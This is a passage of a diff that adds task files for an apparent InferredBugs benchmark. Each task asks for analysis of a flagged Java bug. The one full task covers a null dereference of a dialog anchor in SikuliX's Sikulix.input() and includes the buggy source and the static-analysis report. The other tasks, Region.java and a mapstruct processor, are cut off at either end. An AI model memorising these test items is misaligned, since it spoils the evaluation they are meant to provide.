+API/src/main/java/org/sikuli/script/Region.java
+
+### Key:
+Region.java|doFind|NULL_DEREFERENCE
+
+### Node Key:
+21d2ad4e260a8b00c19d3c2309b24ca5
+
+### Hash:
+234dac8c8a6c78345556211fc8bfe63b
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4508/instruction.md b/inferredbugs-4508/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..1f5b25d7e58cd8fc4661b10c5ca66df30156dafa
--- /dev/null
+++ b/inferredbugs-4508/instruction.md
@@ -0,0 +1,950 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** SikuliX-2014
+**Bug ID:** 52
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2010-2014, Sikuli.org, SikulixUtil.com
+ * Released under the MIT License.
+ *
+ * modified RaiMan
+ */
+package org.sikuli.script;
+
+import java.awt.Color;
+import org.sikuli.basics.HotkeyManager;
+import org.sikuli.util.Tests;
+import org.sikuli.util.ScreenHighlighter;
+import java.awt.Dimension;
+import java.io.File;
+import java.net.URL;
+import java.security.CodeSource;
+import javax.swing.Box;
+import javax.swing.BoxLayout;
+import javax.swing.JFrame;
+import javax.swing.JLabel;
+import javax.swing.JOptionPane;
+import javax.swing.JPanel;
+import javax.swing.JPasswordField;
+import javax.swing.JScrollPane;
+import javax.swing.JTextArea;
+import org.sikuli.basics.Debug;
+import org.sikuli.basics.FileManager;
+import org.sikuli.basics.PreferencesUser;
+import org.sikuli.basics.Settings;
+import org.sikuli.util.JythonHelper;
+
+/**
+ * global services for package API
+ */
+public class Sikulix {
+
+  private static String imgLink = "http://www.sikulix.com/uploads/1/4/2/8/14281286";
+  private static String imgHttp = "1389888228.jpg";
+  private static String imgNet = imgLink + "/" + imgHttp;
+
+  private static int lvl = 3;
+  private static void log(int level, String message, Object... args) {
+    Debug.logx(level, "Sikulix: " + message, args);
+  }
+
+  private static void p(String msg, Object... args) {
+    System.out.println(String.format(msg, args));
+  }
+
+  private static void terminate(int retVal, String msg, Object... args) {
+    p(msg, args);
+    System.exit(retVal);
+  }
+
+  private static boolean runningFromJar;
+  private static String jarPath;
+  private static String jarParentPath;
+  private static final String prefNonSikuli = "nonSikuli_";
+  private static RunTime rt = null;
+  public static int testNumber = -1;
+  private static boolean shouldRunServer = false;
+  private static Location locPopAt = null;
+
+  static {
+    String jarName = "";
+
+    CodeSource codeSrc =  Sikulix.class.getProtectionDomain().getCodeSource();
+    if (codeSrc != null && codeSrc.getLocation() != null) {
+      jarName = codeSrc.getLocation().getPath();
+    }
+
+    if (jarName.contains("sikulixsetupAPI")) {
+      JOptionPane.showMessageDialog(null, "Not useable!\nRun setup first!",
+              "sikulixsetupAPI", JOptionPane.ERROR_MESSAGE);
+      System.exit(0);
+    }
+
+    rt = RunTime.get();
+    if (Debug.getDebugLevel() == 0) {
+      Debug.setDebugLevel(1);
+    }
+
+    if (codeSrc != null && codeSrc.getLocation() != null) {
+      URL jarURL = codeSrc.getLocation();
+      jarPath = FileManager.slashify(new File(jarURL.getPath()).getAbsolutePath(), false);
+      jarParentPath = (new File(jarPath)).getParent();
+      if (jarPath.endsWith(".jar")) {
+        runningFromJar = true;
+      } else {
+        jarPath += "/";
+      }
+    }
+  }
+
+  /**
+   * checking parameter -d on commandline<br>
+   * 0 - list all available tests<br>
+   * 1 - run all available tests<br>
+   * n - run the test with that number if available
+   *
+   * @param args currently only -d is evaluated
+   */
+  public static void main(String[] args) throws FindFailed {
+
+    if (args.length > 0 && args[0].toLowerCase().startsWith("-s")) {
+      shouldRunServer = true;
+    } else {
+      System.out.println("********** Running Sikulix.main");
+
+      int dl = RunTime.checkArgs(args, RunTime.Type.API);
+      if (dl > -1 && dl < 999) {
+        testNumber = dl;
+        Debug.on(3);
+      } else {
+        testNumber = -1;
+      }
+
+      testNumber = rt.getOptionNumber("testing.test", testNumber);
+
+      if (dl == 999) {
+        int exitCode = Runner.runScripts(args);
+        cleanUp(exitCode);
+        System.exit(exitCode);
+      } else if (testNumber > -1) {
+        if (!rt.testing) {
+          rt.show();
+          rt.testing = true;
+        }
+        Tests.runTest(testNumber);
+        System.exit(1);
+      }
+    }
+    rt = RunTime.get();
+    if (rt.fSxBaseJar.getName().contains("setup")) {
+      Sikulix.popError("Not useable!\nRun setup first!");
+      System.exit(0);
+    }
+    
+    if (shouldRunServer) {
+      if (RunServer.run(null)) {
+        System.exit(1);
+      }
+    }
+    
+    Debug.on(3);
+    Settings.InfoLogs = true;
+    Settings.ActionLogs = true;
+
+    ImagePath.add("org.sikuli.script.Sikulix/ImagesAPI.sikuli");
+    String shotPath = new File(ImagePath.getPaths().get(1).getPath()).getParent();
+    ImagePath.setBundlePath(shotPath);
+    
+    Screen s = new Screen();
+    App.focus("Safari");
+    popat(s.get(211));
+    popup("test");
+    RunTime.pause(3);
+    
+    System.exit(1);
+
+    String version = String.format("(%s-%s)", rt.getVersionShort(), rt.sxBuildStamp);
+    File lastSession = new File(rt.fSikulixStore, "LastAPIJavaScript.js");
+    String runSomeJS = "";
+    if (lastSession.exists()) {
+      runSomeJS = FileManager.readFileToString(lastSession);
+    }
+    runSomeJS = inputText("enter some JavaScript (know what you do - may silently die ;-)"
+            + "\nexample: run(\"git*\") will run the JavaScript showcase from GitHub"
+            + "\nWhat you enter now will be shown the next time.",
+            "API::JavaScriptRunner " + version, 10, 60, runSomeJS);
+    if (runSomeJS.isEmpty()) {
+      popup("Nothing to do!", version);
+    } else {
+      while (!runSomeJS.isEmpty()) {
+        FileManager.writeStringToFile(runSomeJS, lastSession);
+        Runner.runjs(null, null, runSomeJS, null);
+        runSomeJS = inputText("Edit the JavaScript and/or press OK to run it (again)\n"
+                + "Press Cancel to terminate",
+            "API::JavaScriptRunner " + version, 10, 60, runSomeJS);
+      }
+    }
+    System.exit(0);
+  }
+  
+  /**
+   * add a jar to the scripting environment<br>
+   * Jython: added to sys.path<br>
+   * JRuby: not yet supported<br>
+   * JavaScript: not yet supported<br>
+   * if no scripting active (API usage), jar is added to classpath if available
+   * @param fpJar absolute path to a jar (relative: searched according to Extension concept, 
+   * but first on sys.path)
+   * @return the absolute path to the jar or null, if not available
+   */
+  public static String load(String fpJar) {
+    return load(fpJar, null);
+  }
+
+  /**
+   * add a jar to the scripting environment or to classpath<br>
+   * Jython: added to sys.path<br>
+   * JRuby: only added to classpath<br>
+   * JavaScript: only added to classpath<br>
+   * if no scripting is active (API usage), jar is added to classpath if available<br>
+   * additionally: fpJar/fpJarImagePath is added to ImagePath (not checked)
+   * @param fpJar absolute path to a jar (relative: searched according to Extension concept, 
+   * but first on sys.path)
+   * @param fpJarImagePath path relative to jar root inside jar
+   * @return the absolute path to the jar or null, if not available
+   */
+  public static String load(String fpJar, String fpJarImagePath) {
+    JythonHelper jython = JythonHelper.get();
+    String fpJarFound = null;
+    if (jython != null) {
+      File aFile = jython.existsSysPathJar(fpJar);
+      if (aFile != null) {
+        fpJar = aFile.getAbsolutePath();
+      }
+      fpJarFound = jython.load(fpJar);
+    } else {
+      File fJarFound = rt.asExtension(fpJar);
+      if (fJarFound != null) {
+        fpJarFound = fJarFound.getAbsolutePath();
+        rt.addToClasspath(fpJarFound);
+      } 
+    }
+    if (fpJarFound != null && fpJarImagePath != null) {
+      ImagePath.addJar(fpJarFound, fpJarImagePath);
+    }
+    return fpJarFound;
+  }
+  
+  /**
+   * build a jar on the fly at runtime from a folder.<br>
+   * special for Jython: if the folder contains a __init__.py on first level, 
+   * the folder will be copied to the jar root (hence preserving module folders)
+   * @param targetJar absolute path to the created jar (parent folder must exist, jar is overwritten) 
+   * @param sourceFolder absolute path to a folder, the contained folder structure 
+   * will be copied to the jar root level
+   * @return
+   */
+  public static boolean buildJarFromFolder(String targetJar, String sourceFolder) {
+    log(lvl, "buildJarFromFolder: \nfrom Folder: %s\nto Jar: %s", sourceFolder, targetJar);
+    File fJar = new File(targetJar);
+    if (!fJar.getParentFile().exists()) {
+      log(-1, "buildJarFromFolder: parent folder of Jar not available");
+      return false;
+    }
+    File fSrc = new File(sourceFolder);
+    if (!fSrc.exists() || !fSrc.isDirectory()) {
+      log(-1, "buildJarFromFolder: source folder not available");
+      return false;
+    }
+    String prefix = null;
+    if (new File(fSrc, "__init__.py").exists() || new File(fSrc, "__init__$py.class").exists()) {
+      prefix = fSrc.getName();
+      if (prefix.endsWith("_")) {
+        prefix = prefix.substring(0, prefix.length() - 1);
+      }
+    }
+    return FileManager.buildJar(targetJar, new String[]{null}, 
+            new String[] {sourceFolder}, new String[] {prefix}, null);
+  }
+  
+  /**
+   * the foo.py files in the given source folder are compiled to JVM-ByteCode-classfiles foo$py.class 
+   * and stored in the target folder (thus securing your code against changes).<br>
+   * A folder structure is preserved. All files not ending as .py will be copied also.
+   * The target folder might then be packed to a jar using buildJarFromFolder.<br>
+   * Be aware: you will get no feedback about any compile problems, 
+   * so make sure your code compiles error free. Currently there is no support for running such a jar,
+   * it can only be used with load()/import, but you might provide a simple script that does load()/import
+   * and then runs something based on available functions in the jar code.
+   * @param fpSource absolute path to a folder/folder-tree containing the stuff to be copied/compiled
+   * @param fpTarget the folder that will contain the copied/compiled stuff (folder is first deleted)
+   * @return false if anything goes wrong, true means should have worked
+   */
+  public static boolean compileJythonFolder(String fpSource, String fpTarget) {
+    JythonHelper jython = JythonHelper.get();
+    if (jython != null) {
+      File fTarget = new File(fpTarget);
+      FileManager.deleteFileOrFolder(fTarget);
+      fTarget.mkdirs();
+      if (!fTarget.exists()) {
+        log(-1, "compileJythonFolder: target folder not available\n%", fTarget);
+        return false;
+      }
+      File fSource = new File(fpSource);
+      if (!fSource.exists()) {
+        log(-1, "compileJythonFolder: source folder not available\n", fSource);
+        return false;
+      }
+      if (fTarget.equals(fSource)) {
+        log(-1, "compileJythonFolder: target folder cannot be the same as the source folder");
+        return false;
+      }
+      FileManager.xcopy(fSource, fTarget);
+      if (!jython.exec("import compileall")) {
+        return false;
+      }
+      jython = doCompileJythonFolder(jython, fTarget);
+      FileManager.traverseFolder(fTarget, new CompileJythonFilter(jython));
+    }
+    return false;
+  }
+  
+  private static class CompileJythonFilter implements FileManager.FileFilter {
+    
+    JythonHelper jython = null;
+    
+    public CompileJythonFilter(JythonHelper jython) {
+      this.jython = jython;
+    }
+
+    @Override
+    public boolean accept(File entry) {
+      if (jython != null && entry.isDirectory()) {
+        jython = doCompileJythonFolder(jython, entry);
+      }
+      return false;
+    }
+  }
+  
+  private static JythonHelper doCompileJythonFolder(JythonHelper jython, File fSource) {
+    String fpSource = FileManager.slashify(fSource.getAbsolutePath(), false);
+    if (!jython.exec(String.format("compileall.compile_dir(\"%s\","
+            + "maxlevels = 0, quiet = 1)", fpSource))) {
+      return null;
+    }
+    for (File aFile : fSource.listFiles()) {
+      if (aFile.getName().endsWith(".py")) {
+        aFile.delete();
+      }
+    }
+    return jython;
+  }
+
+  private static boolean addFromProject(String project, String aJar) {
+    File aFile = null;
+    if (rt.fSxProject == null) {
+      return false;
+    } else {
+      aFile = new File(rt.fSxProject, project);
+    }
+    aFile = new File(aFile, "target/" + aJar);
+    return rt.addToClasspath(aFile.getAbsolutePath());
+  }
+
+  public static boolean isRunningFromJar() {
+    return runningFromJar;
+  }
+
+  public static String getJarPath() {
+    return jarPath;
+  }
+
+  public static String getJarParentPath() {
+    return jarParentPath;
+  }
+
+  private static boolean runningSikulixapi = false;
+
+  /**
+   * Get the value of runningSikulixUtilapi
+   *
+   * @return the value of runningSikulixUtilapi
+   */
+  public static boolean isRunningSikulixapi() {
+    return runningSikulixapi;
+  }
+
+  /**
+   * Set the value of runningSikulixUtilapi
+   *
+   * @param runningAPI new value of runningSikulixUtilapi
+   */
+  public static void setRunningSikulixapi(boolean runningAPI) {
+    runningSikulixapi = runningAPI;
+  }
+
+  /**
+   * call this, to initialize Sikuli up to useability
+   *
+   * @return the primary screen object or null if headless
+   */
+  public static Screen init() {
+    if (!canRun()) {
+      return null;
+    }
+//TODO collect initializations here
+    Mouse.init();
+    Keys.init();
+    return new Screen();
+  }
+
+  /**
+   * Can SikuliX be run on this machine?
+   *
+   * @return true if not running headless false otherwise
+   */
+  public static boolean canRun() {
+    return !RunTime.get().isHeadless();
+  }
+
+  /**
+   * INTERNAL USE: convenience function: runs {@link #cleanUp(int)}, prints a message endNormal and terminates with
+   * returncode
+   *
+   * @param n
+   */
+  public static void endNormal(int n) {
+    log(lvl, "endNormal: %d", n);
+    cleanUp(n);
+    System.exit(n);
+  }
+
+  /**
+   * INTERNAL USE: convenience function: runs {@link #cleanUp(int)}, prints a message endWarning and terminates with
+   * returncode
+   *
+   * @param n returncode
+   */
+  public static void endWarning(int n) {
+    log(lvl, "endWarning: %d", n);
+    cleanUp(n);
+    System.exit(n);
+  }
+
+  /**
+   * INTERNAL USE: convenience function: runs {@link #cleanUp(int)}, prints a message endError and terminates with
+   * returncode
+   *
+   * @param n
+   */
+  public static void endError(int n) {
+    log(lvl, "endError: %d", n);
+    cleanUp(n);
+    System.exit(n);
+  }
+
+  public static void terminate(int n) {
+    String msg = "***** Terminating SikuliX Setup after a fatal error"
+            + (n == 0 ? "*****\n" : " %d *****\n")
+            + "SikuliX is not useable!\n"
+            + "Check the error log at " + Debug.logfile;
+    if (Settings.runningSetup) {
+      if (Settings.noPupUps) {
+        log(-1, msg, n);
+      } else {
+        popError(String.format(msg, n));
+      }
+    } else {
+      Debug.error("***** Terminating SikuliX after a fatal error"
+              + (n == 0 ? "*****\n" : " %d *****\n")
+              + "It makes no sense to continue!\n"
+              + "If you do not have any idea about the error cause or solution, run again\n"
+              + "with a Debug level of 3. You might paste the output to the Q&A board.", n);
+      cleanUp(0);
+    }
+    System.exit(1);
+  }
+
+  /**
+   * INTERNAL USE: resets stateful Sikuli X features: ScreenHighlighter, Observing, Mouse, Key, Hotkeys When in IDE:
+   * resets selected options to defaults (TODO)
+   *
+   * @param n returncode
+   */
+  public static void cleanUp(int n) {
+    log(lvl, "cleanUp: %d", n);
+    ScreenHighlighter.closeAll();
+    Observing.cleanUp();
+    HotkeyManager.reset();
+    //TODO move to class Keys after implementation
+    Screen.getPrimaryScreen().getRobot().keyUp();
+    Mouse.reset();
+    //TODO what about remote screen sessions????
+  }
+
+  /**
+   * INTERNAL USE: used in setup: tests basic SikulixUtil features
+   *
+   * @return success
+   */
+  public static boolean testSetup() {
+    return doTestSetup("Java API", false);
+  }
+
+  /**
+   * INTERNAL USE: used in setup: tests basic SikulixUtil features
+   *
+   * @return success
+   */
+  public static boolean testSetup(String src) {
+    return doTestSetup(src, false);
+  }
+
+  /**
+   * INTERNAL USE: used in setup: tests basic SikulixUtil features
+   *
+   * @return success
+   */
+  public static boolean testSetupSilent() {
+    Settings.noPupUps = true;
+    return doTestSetup("Java API", true);
+  }
+
+  private static boolean doTestSetup(String testSetupSource, boolean silent) {
+    Region r = Region.create(0, 0, 100, 100);
+    Image img = new Image(r.getScreen().capture(r).getImage());
+    Pattern p = new Pattern(img);
+    Finder f = new Finder(img);
+    boolean success = (null != f.find(p));
+    log(lvl, "testSetup: Finder setup with image %s", (!success ? "did not work" : "worked"));
+    if (success &= f.hasNext()) {
+      success = (null != f.find(img.asFile()));
+      log(lvl, "testSetup: Finder setup with image file %s", (!success ? "did not work" : "worked"));
+      success &= f.hasNext();
+      String screenFind = "Screen.find(imagefile)";
+      try {
+        ((Screen) r.getScreen()).find(img.asFile());
+        log(lvl, "testSetup: %s worked", screenFind);
+        screenFind = "repeated Screen.find(imagefile)";
+        ((Screen) r.getScreen()).find(img.asFile());
+        log(lvl, "testSetup: %s worked", screenFind);
+      } catch (Exception ex) {
+        log(lvl, "testSetup: %s did not work", screenFind);
+        success = false;
+      }
+    }
+    if (success) {
+      if (!silent) {
+        popup("Hallo from Sikulix.testSetup: " + testSetupSource + "\n"
+                + "SikuliX seems to be working!\n\nHave fun!");
+        log(lvl, "testSetup: Finder.find: worked");
+      } else {
+        System.out.println("[info] RunSetup: Sikulix.testSetup: Java Sikuli seems to be working!");
+      }
+      return true;
+    }
+    log(lvl, "testSetup: last Screen/Finder.find: did not work");
+    return false;
+  }
+
+  @Deprecated
+  public static boolean addToClasspath(String jar) {
+    return RunTime.get().addToClasspath(jar);
+  }
+
+  @Deprecated
+  public static boolean isOnClasspath(String artefact) {
+    return null != RunTime.get().isOnClasspath(artefact);
+  }
+
+  public static String run(String cmdline) {
+    return run(new String[]{cmdline});
+  }
+
+  public static String run(String[] cmd) {
+    return rt.runcmd(cmd);
+  }
+
+  public static void popError(String message) {
+    popError(message, "Sikuli");
+  }
+
+  public static void popError(String message, String title) {
+    JFrame anchor = popLocation();
+    JOptionPane.showMessageDialog(anchor, message, title, JOptionPane.ERROR_MESSAGE);
+    if (anchor != null) {
+      anchor.dispose();
+    }
+  }
+
+  /**
+   * request user's input as one line of text <br>
+   * with hidden = true: <br>
+   * the dialog works as password input (input text hidden as bullets) <br>
+   * take care to destroy the return value as soon as possible (internally the password is deleted on return)
+   *
+   * @param msg
+   * @param preset
+   * @param title
+   * @param hidden
+   * @return the text entered
+   */
+  public static String input(String msg, String preset, String title, boolean hidden) {
+    JFrame anchor = popLocation();
+    String ret = "";
+    if (!hidden) {
+      if ("".equals(title)) {
+        title = "Sikuli input request";
+      }
+      ret = (String) JOptionPane.showInputDialog(anchor, msg, title, 
+              JOptionPane.PLAIN_MESSAGE, null, null, preset);
+    } else {
+      preset = "";
+      JTextArea tm = new JTextArea(msg);
+      tm.setColumns(20);
+      tm.setLineWrap(true);
+      tm.setWrapStyleWord(true);
+      tm.setEditable(false);
+      tm.setBackground(new JLabel().getBackground());
+      JPasswordField pw = new JPasswordField(preset);
+      JPanel pnl = new JPanel();
+      pnl.setLayout(new BoxLayout(pnl, BoxLayout.Y_AXIS));
+      pnl.add(pw);
+      pnl.add(Box.createVerticalStrut(10));
+      pnl.add(tm);
+      int retval = JOptionPane.showConfirmDialog(anchor, pnl, title, JOptionPane.OK_CANCEL_OPTION);
+      if (0 == retval) {
+        char[] pwc = pw.getPassword();
+        for (int i = 0; i < pwc.length; i++) {
+          ret = ret + pwc[i];
+          pwc[i] = 0;
+        }
+      } 
+    }
+    anchor.dispose();
+    return ret;
+  }
+
+  public static String input(String msg, String title, boolean hidden) {
+    return input(msg, "", title, hidden);
+  }
+
+  public static String input(String msg, boolean hidden) {
+    return input(msg, "", "", hidden);
+  }
+
+  public static String input(String msg, String preset, String title) {
+    return input(msg, preset, title, false);
+  }
+
+  public static String input(String msg, String preset) {
+    return input(msg, preset, "", false);
+  }
+
+  public static String input(String msg) {
+    return input(msg, "", "", false);
+  }
+
+  public static boolean popAsk(String msg) {
+    return popAsk(msg, null);
+  }
+
+  public static boolean popAsk(String msg, String title) {
+    if (title == null) {
+      title = "... something to decide!";
+    }
+    JFrame anchor = popLocation();
+    int ret = JOptionPane.showConfirmDialog(anchor, msg, title, JOptionPane.YES_NO_OPTION);
+    if (anchor != null) {
+      anchor.dispose();
+    }
+    if (ret == JOptionPane.CLOSED_OPTION || ret == JOptionPane.NO_OPTION) {
+      return false;
+    }
+    return true;
+  }
+
+  public static void popup(String message) {
+    popup(message, "Sikuli");
+  }
+
+  public static void popup(String message, String title) {
+    JFrame anchor = popLocation();
+    JOptionPane.showMessageDialog(anchor, message, title, JOptionPane.PLAIN_MESSAGE);
+    if (anchor != null) {
+      anchor.dispose();
+    }
+  }
+  
+  public static void popat(Location at) {
+    locPopAt = at;
+  }
+
+  public static void popat(Region at) {
+    locPopAt = at.getCenter();
+  }
+  
+  public static void popat(int atx, int aty) {
+    locPopAt = new Location(atx, aty);
+  }
+  
+  public static void popat() {
+    locPopAt = null;
+  }
+
+  private static JFrame popLocation() {
+    if (locPopAt == null) {
+      return null;   
+    } else {
+      return popLocation(locPopAt.x, locPopAt.y);
+    }
+  }
+
+  private static JFrame popLocation(int x, int y) {
+    JFrame anchor = new JFrame();
+    anchor.setAlwaysOnTop(true);
+    anchor.setUndecorated(true);
+    anchor.setSize(1,1);
+    anchor.setLocation(x, y);
+    anchor.setVisible(true);
+    return anchor;
+  }
+
+  public static String popSelect(String msg, String[] options, String preset) {
+    return popSelect(msg, null, options, preset);
+  }
+
+  public static String popSelect(String msg, String[] options) {
+    if (options.length == 0) {
+      return "";
+    }
+    return popSelect(msg, null, options, options[0]);
+  }
+
+  public static String popSelect(String msg, String title, String[] options) {
+    if (options.length == 0) {
+      return "";
+    }
+    return popSelect(msg, title, options, options[0]);
+  }
+
+  public static String popSelect(String msg, String title, String[] options, String preset) {
+    if (title == null || "".equals(title)) {
+      title = "... something to select!";
+    }
+    if (options.length == 0) {
+      return "";
+    }
+    if (preset == null) {
+      preset = options[0];
+    }
+    JFrame anchor = popLocation();
+    String ret = (String) JOptionPane.showInputDialog(anchor, msg, title,
+            JOptionPane.PLAIN_MESSAGE, null, options, preset);
+    if (anchor != null) {
+      anchor.dispose();
+    }
+    return ret;
+  }
+
+  /**
+   * Shows a dialog request to enter text in a multiline text field <br>
+   * Though not all text might be visible, everything entered is delivered with the returned text <br>
+   * The main purpose for this feature is to allow pasting text from somewhere preserving line breaks <br>
+   *
+   * @param msg the message to display.
+   * @param title the title for the dialog (default: Sikuli input request)
+   * @param lines the maximum number of lines visible in the text field (default 9)
+   * @param width the maximum number of characters visible in one line (default 20)
+   * @return The user's input including the line breaks.
+   */
+  public static String inputText(String msg, String title, int lines, int width) {
+    return inputText(msg, title, lines, width, "");
+  }
+
+  public static String inputText(String msg, String title, int lines, int width, String text) {
+    width = Math.max(20, width);
+    lines = Math.max(9, lines);
+    if ("".equals(title)) {
+      title = "Sikuli input request";
+    }
+    JTextArea ta = new JTextArea("");
+    int w = width * ta.getFontMetrics(ta.getFont()).charWidth('m');
+    int h = (int) (lines * ta.getFontMetrics(ta.getFont()).getHeight());
+    ta.setPreferredSize(new Dimension(w, h));
+    ta.setMaximumSize(new Dimension(w, 2 * h));
+    ta.setText(text);
+    JScrollPane sp = new JScrollPane(ta);
+    sp.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_NEVER);
+    JTextArea tm = new JTextArea(msg);
+    tm.setColumns(width);
+    tm.setLineWrap(true);
+    tm.setWrapStyleWord(true);
+    tm.setEditable(false);
+    tm.setBackground(new JLabel().getBackground());
+    JPanel pnl = new JPanel();
+    pnl.setLayout(new BoxLayout(pnl, BoxLayout.Y_AXIS));
+    pnl.add(sp);
+    pnl.add(Box.createVerticalStrut(10));
+    pnl.add(tm);
+    pnl.add(Box.createVerticalStrut(10));
+    JFrame anchor = popLocation();
+    int ret = JOptionPane.showConfirmDialog(anchor, pnl, title, JOptionPane.OK_CANCEL_OPTION);
+    if (anchor != null) {
+      anchor.dispose();
+    }
+    if (0 == ret) {
+      return ta.getText();
+    } else {
+      return "";
+    }
+  }
+
+  public static boolean importPrefs(String path) {
+    return true;
+  }
+
+  public static String arrayToString(String[] args) {
+    String ret = "";
+    for (String s : args) {
+      if (s.contains(" ")) {
+        s = "\"" + s + "\"";
+      }
+      ret += s + " ";
+    }
+    return ret;
+  }
+
+  public static boolean exportPrefs(String path) {
+    return true;
+  }
+
+  /**
+   * store a key-value-pair in Javas persistent preferences storage that is used by SikuliX to save settings and
+   * information between IDE sessions<br>
+   * this allows, to easily make some valuable information persistent
+   *
+   * @param key name of the item
+   * @param value item content
+   */
+  public static void prefStore(String key, String value) {
+    PreferencesUser.getInstance().put(prefNonSikuli + key, value);
+  }
+
+  /**
+   * retrieve the value of a previously stored a key-value-pair from Javas persistent preferences storage that is used
+   * by SikuliX to save settings and information between IDE sessions<br>
+   *
+   * @param key name of the item
+   * @return the item content or empty string if not stored yet
+   */
+  public static String prefLoad(String key) {
+    return PreferencesUser.getInstance().get(prefNonSikuli + key, "");
+  }
+
+  /**
+   * retrieve the value of a previously stored a key-value-pair from Javas persistent preferences storage that is used
+   * by SikuliX to save settings and information between IDE sessions<br>
+   *
+   * @param key name of the item
+   * @param value the item content or the given value if not stored yet (default)
+   * @return the item content or the given default
+   */
+  public static String prefLoad(String key, String value) {
+    return PreferencesUser.getInstance().get(prefNonSikuli + key, value);
+  }
+
+  /**
+   * permanently remove the previously stored key-value-pair having the given key from Javas persistent preferences
+   * storage that is used by SikuliX to save settings and information between IDE sessions<br>
+   *
+   * @param key name of the item to permanently remove
+   * @return the item content that would be returned by prefLoad(key)
+   */
+  public static String prefRemove(String key) {
+    String val = prefLoad(key);
+    PreferencesUser.getInstance().remove(prefNonSikuli + key);
+    return val;
+  }
+
+  /**
+   * permanently remove all previously stored key-value-pairs (by prefsStore()) from Javas persistent preferences
+   * storage that is used by SikuliX to save settings and information between IDE sessions<br>
+   */
+  public static void prefRemove() {
+    PreferencesUser.getInstance().removeAll(prefNonSikuli);
+  }
+
+  private static Exception Exception() {
+    throw new UnsupportedOperationException("Not supported yet."); //To change body of generated methods, choose Tools | Templates.
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `anchor` last assigned on line 588 could be null and is dereferenced at line 619.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+String Sikulix.input(String,String,String,boolean)
+
+### Procedure Id:
+org.sikuli.script.Sikulix.input(java.lang.String,java.lang.String,java.lang.String,boolean):java.lan.53a3aeba76edbed658aab4e08e98a309
+
+### File:
+API/src/main/java/org/sikuli/script/Sikulix.java
+
+### Key:
+Sikulix.java|input|NULL_DEREFERENCE
+
+### Node Key:
+44055977dd8a79265dd55c316bf82062
+
+### Hash:
+4ff2dc7b15cdeb14f21659fa91d681fc
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4537/instruction.md b/inferredbugs-4537/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..d5945c6a1d060a60cd48afbef9a53674783a3d0e
--- /dev/null
+++ b/inferredbugs-4537/instruction.md
@@ -0,0 +1,988 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** mapstruct
+**Bug ID:** 18
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ *  Copyright 2012-2014 Gunnar Morling (http://www.gunnarmorling.de/)
+ *  and/or other contributors as indicated by the @authors tag. See the
+ *  copyright.txt file in the distribution for a full listing of all
+ *  contributors.
+ *
+ *  Licensed under the Apache License, Version 2.0 (the "License");
+ *  you may not use this file except in compliance with the License.
+ *  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *  Unless required by applicable law or agreed to in writing, software
+ *  distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ *  See the License for the specific language governing permissions and
+ *  limitations under the License.
+ */
+package org.mapstruct.ap.processor;
+
+import java.text.MessageFormat;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import javax.annotation.processing.Messager;
+import javax.lang.model.element.Element;
+import javax.lang.model.element.ExecutableElement;
+import javax.lang.model.element.TypeElement;
+import javax.lang.model.type.DeclaredType;
+import javax.lang.model.type.ExecutableType;
+import javax.lang.model.type.TypeKind;
+import javax.lang.model.type.TypeMirror;
+import javax.lang.model.util.ElementFilter;
+import javax.lang.model.util.Elements;
+import javax.lang.model.util.Types;
+import javax.tools.Diagnostic.Kind;
+
+import org.mapstruct.ap.conversion.ConversionProvider;
+import org.mapstruct.ap.conversion.Conversions;
+import org.mapstruct.ap.conversion.DefaultConversionContext;
+import org.mapstruct.ap.model.BeanMappingMethod;
+import org.mapstruct.ap.model.DefaultMapperReference;
+import org.mapstruct.ap.model.IterableMappingMethod;
+import org.mapstruct.ap.model.MapMappingMethod;
+import org.mapstruct.ap.model.Mapper;
+import org.mapstruct.ap.model.MapperReference;
+import org.mapstruct.ap.model.MappingMethod;
+import org.mapstruct.ap.model.MethodReference;
+import org.mapstruct.ap.model.PropertyMapping;
+import org.mapstruct.ap.model.TypeConversion;
+import org.mapstruct.ap.model.common.Parameter;
+import org.mapstruct.ap.model.common.Type;
+import org.mapstruct.ap.model.common.TypeFactory;
+import org.mapstruct.ap.model.source.Mapping;
+import org.mapstruct.ap.model.source.Method;
+import org.mapstruct.ap.model.source.MethodMatcher;
+import org.mapstruct.ap.option.Options;
+import org.mapstruct.ap.option.ReportingPolicy;
